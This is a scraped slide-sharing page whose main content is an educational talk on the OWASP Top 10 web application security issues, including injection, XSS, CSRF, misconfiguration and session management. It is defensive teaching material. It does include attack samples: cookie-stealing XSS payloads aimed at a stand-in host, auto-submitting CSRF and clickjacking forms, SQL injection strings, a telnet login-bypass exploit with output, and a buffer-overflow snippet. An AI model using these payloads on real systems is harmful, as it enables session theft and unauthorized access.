Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxBkGupta21
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 

Kürzlich hochgeladen (20)

Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptx
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 

The top 10 security issues in web applications

  • 1. The top 10 security issues in web applications ir. Walter Belgers, CISSP, CISA
  • 2. Walter Belgers • Principal Security Consultant and Partner at Madison Gurkha B.V. • Close to 20 years of professional experience in technical IT security
  • 3. • Madison Gurkha supports organisations with high quality services to efficiently identify, decrease and prevent IT security risks • With a focus on technical security aspects
  • 4.
  • 5.
  • 6. • Non-profit organisation • 70 local chapters • Develop several tools (a.o. WebScarab, LiveCD) • Spread knowledge (Webgoat, documentation) • Methodology (testing) / legal / ... • OWASP TOP-10
  • 7. OWASP TOP-10 2010 A1 - Injection A6 - Security Misconfiguration A2 - Cross Site Scripting A7 - Insecure Cryptographic (XSS) Storage A3 - Broken Authentication A8 - Failure to Restrict URL and Session Management Access A4 - Insecure Direct Object A9 - Insufficient Transport References Layer Security A5 - Cross Site Request A10 - Unvalidated Redirects Forgery (CSRF) and Forwards
  • 8. A10 - Redirects • The site sends you to a URL that can be manipulated • That in turn can be encoded in a normal looking URL • Phishing attack
  • 9.
  • 10. A9 - TLS • HTTP versus HTTPS • Protocol: SSLv2, SSLv3, TLSv1 • Crypto-algorithm: several • Certificates • Marking session cookies as ‘secure’
  • 11. A9 - TLS • The purpose of SSL • Actually only useful for untrusted (WiFi-)networks • Do you pay attention all of the time? • VPN • Firefox (Chrome) plugin: perspectives
  • 12.
  • 13. A8 - Restricting URL’s • Page can be retrieved without authentication • Programming error • Page can only be retrieved if you know the “secret URL” • “Security through obscurity”
  • 14. <script language="javascript"> <!--// /*This Script allows people to enter by using a form that asks for a UserID and Password*/ function pasuser(form) { if (form.id.value=="buyers") { if (form.pass.value=="gov1996") { location="http://officers.federalsuppliers.com/agents.html" } else { alert("Invalid Password") } } else { alert("Invalid UserID") } } //--> </script>
  • 15. Real-life example if (Pressed=”Update”) { if (top.content.Rights==”user”) { alert(“You are not authorized!”); return(-1); } ... }
  • 16. A7 - Crypt. Storage • Data in a database should (maybe partially) be encrypted/hashed • Passwords, credit card data, .. • Of importance when data leaks out
  • 17. A6 - Misconfiguration • Missing security patches • Default users / programs • Directory listings • File access (uploads, .inc files) • Elaborate error messages
  • 18.
  • 19.
  • 20. Exploits [~] walter> telnet -l '-fbin' 194.151.35.251 Trying 194.151.35.251... Connected to blade.madison-gurkha.com. Escape character is '^]'. Last login: Tue Sep 25 09:52:33 from 194.151.35.85 Sun Microsystems Inc. SunOS 5.10 Generic January 2005 $ id uid=2(bin) gid=2(bin) $
  • 21.
  • 22. - Nikto v2.1.3/2.1.4 + Target Host: www.<host>.nl + Target Port: 80 + GET /0WAEdrRg.php: Retrieved x-powered-by header: ASP.NET + GET /0WAEdrRg.axd: Retrieved x-aspnet-version header: 2.0.50727 + GET /robots.txt: robots.txt contains 36 entries which should be manually viewed. + HEAD /: Microsoft-IIS/6.0 appears to be outdated (4.0 for NT 4, 5.0 for Win2k, current is at least 7.5) + GET /: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST + GET /: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST + GET /webmail/blank.html: /webmail/blank.html: IlohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilities. + GET /webmail/: /webmail/: Web based mail package installed. + OSVDB-3093: GET /webmail/lib/ emailreader_execute_on_each_page.inc.php: /webmail/lib/ emailreader_execute_on_each_page.inc.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: GET /webmail/src/read_body.php: /webmail/src/ read_body.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3092: GET /er/: /er/: This might be interesting... potential country code (Eritrea)
  • 23. Configuration files • Old files (x.bak, x.old, x~, Copy of x) • Google cache, Way Back machine • .htaccess files • /robots.txt • Source revision control files • Include files • PHP files not ending in .php
  • 24.
  • 25.
  • 26.
  • 27. A5 - CSRF • Cross Site • The attack page is on the site of the attacker • Must be visited (e-mail?) • Request Forgery • Often a POST-request with specially constructed values • You have to be logged in to the target site
  • 28. CSRF in a CMS <form name=“csrf” action="http://cms.example.com/?page=/ &action=admin&subaction=editgroups&groupname=admin" method="post" <input type="hidden" name="txtUserEmail" value="myemail@example.com"> <input type="hidden" name="btnAddUserToGroup" value="Add User to Group"> </form> <script> document.csrf.submit(); </script>
  • 29. Clickjacking <iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe> <form name="csrf" action="http://amazon.com/gp/product/handle-buy-box" method="post" target="hidden"> <input type="hidden" name="ASIN" value="059600656X" /> <input type="hidden" name="offerListingID" value="XYPvvbir%2FyHMyphE %2Fy0hKK%2BNt%2FB7%2FlRTFpIRPQG28BSrQ98hAsPyhlIn75S3jksXb3bdE %2FfgEoOZN0Wyy5qYrwEFzXBuOgqf" /> </form> <script>document.csrf.submit();</script>
  • 30. A4 - Insecure References https://example.com/servlet/page?_pageid=44 http://example.com/showaccount.php?user=3
  • 31. A4 - Insecure References <form action=“housessince.cgi”> <select name=“since”> <option value=“00”>today</option> <option value=“01”>yesterday</option> <option value=“07”>last week</option> </select> <input type=“submit”> </form>
  • 32. A3 - Broken Session Mgmt • Is there a session timeout? • How many simultaneous logins are allowed? • Can you change systems within a session (different IP number) • Is there a logout button? • Are credentials sent using a secure connection? (A9) • How often can you try logging in per user?
  • 33. A3 - Broken Session Mgmt • Do you get to know what was wrong when logging in fails? • Does the server (also) invalidate the session cookie when logging out? • Does the URL contain session id’s? https://example.com/prepaid/customer/ login.html;jsessionid=F0382A6E8172DC7B8D90599B12AECE16 • Session fixation problems
  • 34. A2 - XSS • Cross Site • The victim’s browser redirects from the vulnerable site to the attacker’s site • Scripting • This happens by executing JavaScript in the victim’s browser • Goal: stealing session credentials (cookies)
  • 35. Stored XSS • The attacker can leave behind input that is being shown to (other) visitors of the site • Profile information • Messages • ...
  • 36. Stored XSS Your message: This is my message. <script>document.location=‘http:// example.com/’+document.cookie</script>
  • 37. Reflected XSS <a href=“http://example.com/comment.aspx? text=This is my message. <script>document.location=‘http:// example.com/’+document.cookie</script>”>This is awesome!! Click here!</a>
  • 40. A1 - Injection • Problem: data gets mingled with “program code” • PHP, Perl, .. • But also: SQL, LDAP, ..
  • 41. Old problem • In-band signalling • Well-known from telephony • Hot again! foto: woz.org
  • 42. Typical setup Internet Inernet HTTP www SQL Internal Intern Internal network netwerk network db
  • 43. SQL injection Your name please: walter Name: Balance: walter €100 SELECT * FROM users WHERE name=“$name” SELECT * FROM users WHERE name=“walter”
  • 44. SQL injection Your name please: ” OR “a”== “a Name: Balance: walter €100 guido €1000 hans €2000 SELECT * FROM users WHERE name=“$name” SELECT * FROM users WHERE name=“” OR “a”==“a”
  • 45. Real-Life Example • Bank site • With a search function • We enter as search string: <script>alert(‘test’)</script> • This running Macro ‘odbc’: Error in line 2: Incorrent syntax near Error yields: ‘test’. (SELECT nr, subject FROM pagedb WHERE (subject LIKE ‘%<script>alert(‘test’)</script>’ order by subject) (source: Microsoft OLE DB Provider for SQL Server)
  • 46. SQL injection • Input frut’) or 1=1-- yields all pages • Input frut’) union select 0, @@version from pagedb-- yields information about the type of software being used • Input frut’) union select dbid, name from master..sysdatabases-- yields a list of databases
  • 47. Injection • Input fields • Are sometimes/often “secured” with JavaScript- code • That code runs in the browser • If the user allows it to..
  • 48. Injection • In addition to input fields: • URL’s (GET requests) • Hidden fields (POST requests) • Cookies • Other data in the HTTP-headers (e.g. referer)
  • 49. Local proxy Internet Inernet HTTP www SQL Internal Intern Internal network netwerk network db
  • 51.
  • 52. Demo
  • 53.
  • 54. Configuration • Installation ≠ configuration • Remove example scripts • Set passwords where possible • Remove unnecessary files • (Hardening) • A6, A9
  • 56. Patching ✓OS and some applications: automatic x For a lot of additional software: not automatic
  • 57. Patching x For in-house developed software: ??? • Security audits
  • 58. Input filtering • Helps prevent A1, A2, A4, A8 and A10! • Check all input before storing, processing or showing it • Data in URL’s, forms, cookies, HTTP-headers, etc.
  • 59.
  • 60. Input filtering • White-list filtering: only allow certain characters • Black-list filtering: remove ‘dangerous’ characters
  • 61. Black list filtering • <SCRIPT> <script> • <␣script> • %3Cscript> • “<sc”+“ript”> • <b onmouseover=“...”>
  • 62. Escaping of output • Rewriting ‘dangerous characters’ • For example &lt; instead of < • The rewriting depends on where it must be done!
  • 63. Escaping of output • In the template: <p>%(foo)</p> • We request: http://example.com/? foo=<script>alert(document.cookie)</script> • We get: <p><script>alert(document.cookie)</ script></p> • Escaping: rewriting < > into &lt; &gt;
  • 64. Escaping of output • In the template: <input name=“foo” value=“% (foo)” /> • We request: http://example.com/? foo=”%20onmouseover=“alert(document.cookie) • We get: <input name=“foo” value=“” onmouseover=“alert(document.cookie)” /> • Escaping: rewriting “ into &quot;
  • 65. Escaping of output • In the template: <script>var foo=‘%(foo)’, bar=‘% (bar)’;</script> • We request: http://example.com/?foo= &bar=;alert(document.cookie);// • We get: <script>var foo=‘’, bar=’;alert(document.cookie);//
  • 66. Secure programming • Can fix A3, A4 A5, A7
  • 67. Secure programming • Not many programmers have a background in ‘secure programmin’ main(int argc, char* argv[]) { char *buf[2000]; int len; len = atoi(argv[1]); if (len > 2000) { printf("Too much input!n"); exit(-1); } memcpy(buf, argv[2], len); }
  • 68. Tips and tricks • A2: use the ‘HttpOnly’ option for session cookies • A3: generate a new session cookie on the login page • A5: use a nonce • Sometimes, a framework can help
  • 69. What to do? (1) • Learn programmers how to write secure code • Create a security specification next to the functional specification • Also when the application is bought from a supplier • Abuse cases • Auditing
  • 70. What to do? (2) • If All Else Fails... (and it will) • Multiple layers of defense (prevention) • Logging and monitoring (detection) • Emergency plan (reaction)
  • 71. Web application security • There are no fantastic automated tools • With a good brain and tools like Burp Suite, every web application can be tested well